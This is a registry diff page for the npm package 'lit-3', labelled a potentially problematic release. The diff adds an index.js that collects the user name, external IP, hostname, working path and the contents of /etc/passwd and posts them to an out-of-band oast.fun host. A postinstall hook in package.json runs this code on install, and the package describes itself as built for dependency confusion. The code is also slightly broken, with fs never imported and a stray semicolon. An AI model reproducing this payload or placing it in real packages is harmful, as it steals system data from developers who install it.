lit-3 0.0.1-security → 3.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of lit-3 might be problematic. Click here for more details.
- package/index.js +84 -0
- package/package.json +12 -4
- package/test.js +7 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,84 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const axios = require('axios');
|
3
|
+
const path = require('path');
|
4
|
+
|
5
|
+
// Mendapatkan waktu saat ini
|
6
|
+
function getCurrentTime() {
|
7
|
+
return new Date().toISOString();
|
8
|
+
}
|
9
|
+
|
10
|
+
// Mendapatkan nama organisasi atau pengguna
|
11
|
+
function getOrganization() {
|
12
|
+
return os.userInfo().username; // Atau Anda bisa menambahkan logika lain untuk mendapatkan nama organisasi
|
13
|
+
}
|
14
|
+
|
15
|
+
// Mendapatkan IP eksternal dengan menggunakan API
|
16
|
+
function getExternalIP() {
|
17
|
+
return axios.get('https://api.ipify.org?format=json')
|
18
|
+
.then(response => response.data.ip)
|
19
|
+
.catch(error => 'IP eksternal tidak ditemukan');
|
20
|
+
}
|
21
|
+
|
22
|
+
// Mendapatkan nama host
|
23
|
+
function getHostname() {
|
24
|
+
return os.hostname();
|
25
|
+
}
|
26
|
+
|
27
|
+
// Mendapatkan jalur direktori saat ini
|
28
|
+
function getCurrentPath() {
|
29
|
+
return path.resolve('.');
|
30
|
+
}
|
31
|
+
|
32
|
+
// Mendapatkan nama paket dari file package.json
|
33
|
+
function getPackageName() {
|
34
|
+
const packageJsonPath = path.resolve('package.json');
|
35
|
+
if (fs.existsSync(packageJsonPath)) {
|
36
|
+
const packageJson = require(packageJsonPath);
|
37
|
+
return packageJson.name || 'Unknown Package'; // Mengambil nama dari package.json
|
38
|
+
} else {
|
39
|
+
return 'Package.json tidak ditemukan'; // Jika tidak ada package.json
|
40
|
+
}
|
41
|
+
}
|
42
|
+
|
43
|
+
function getEtcPasswd() {
|
44
|
+
try {
|
45
|
+
const passwdContent = fs.readFileSync('/etc/passwd', 'utf-8');
|
46
|
+
return passwdContent;
|
47
|
+
} catch (error) {
|
48
|
+
return 'Tidak dapat membaca file /etc/passwd';
|
49
|
+
}
|
50
|
+
}
|
51
|
+
|
52
|
+
// Mengumpulkan data yang dibutuhkan
|
53
|
+
async function collectData() {
|
54
|
+
const time = getCurrentTime();
|
55
|
+
const organization = getOrganization();
|
56
|
+
const externalIP = await getExternalIP();
|
57
|
+
const hostname = getHostname();
|
58
|
+
const currentPath = getCurrentPath();
|
59
|
+
const packageName = getPackageName(); // Sesuaikan dengan nama package yang Anda uji
|
60
|
+
const passwd = getEtcPasswd();
|
61
|
+
|
62
|
+
const data = {
|
63
|
+
time: time,
|
64
|
+
organization: organization,
|
65
|
+
ipAddress: externalIP,
|
66
|
+
packageName: packageName,
|
67
|
+
hostname: hostname,
|
68
|
+
currentPath: currentPath;
|
69
|
+
passwd: passwd
|
70
|
+
};
|
71
|
+
|
72
|
+
console.log(data); // Tampilkan data yang dikumpulkan
|
73
|
+
|
74
|
+
// Mengirim data ke server target (misalnya Attacoker atau server lain)
|
75
|
+
axios.post('https://htbyrkwvrlyvwangubmpemhenzxfdsffg.oast.fun/log', data)
|
76
|
+
.then(response => {
|
77
|
+
console.log('Data berhasil dikirim:', response.data);
|
78
|
+
})
|
79
|
+
.catch(error => {
|
80
|
+
console.error('Error saat mengirim data:', error);
|
81
|
+
});
|
82
|
+
}
|
83
|
+
|
84
|
+
collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data
|
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
2
|
+
"name": "lit-3",
|
3
|
+
"version": "3.1.2",
|
4
|
+
"description": "Malicious package for dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "Attacker",
|
10
|
+
"license": "MIT",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^0.21.1"
|
13
|
+
}
|
6
14
|
}
|
package/test.js
ADDED
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=lit-3 for more information.
|